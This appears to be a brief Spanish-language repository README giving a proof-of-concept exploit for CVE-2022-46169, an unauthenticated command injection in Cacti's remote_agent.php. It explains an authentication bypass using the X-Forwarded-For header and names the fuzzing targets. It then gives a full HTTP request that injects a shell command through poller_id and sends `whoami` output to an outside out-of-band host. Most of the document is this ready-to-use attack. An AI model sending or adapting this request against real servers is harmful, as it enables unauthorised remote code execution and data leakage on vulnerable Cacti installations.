0xf4n9x/cve-2022-46169CVE-2022-46169 Cacti remote_agent.php Inyección de comandos no autenticada.
CVE-2022-46169 Inyección de comandos no autenticada en remote_agent.php de Cacti.
Agregue el encabezado X-Forwarded-For para omitir la autenticación, tenga en cuenta que su valor no es fijo.
Use Burp Intruder para realizar pruebas de fuzzing con los valores de host_id y local_data_ids.
El punto de inyección de comandos es el parámetro poller_id.
GET /cacti/remote_agent.php?action=polldata&poller_id=;ping%20-c%202%20`whoami`.ccsy8s32vtc0000x5nagg8rkyboyyyyyc.oast.fun&host_id=2&local_data_ids[]=6 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (X11; U; Linux armv6l; rv 1.8.1.5pre) Gecko/20070619 Minimo/0.020
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
X-Forwarded-For: 127.0.0.1
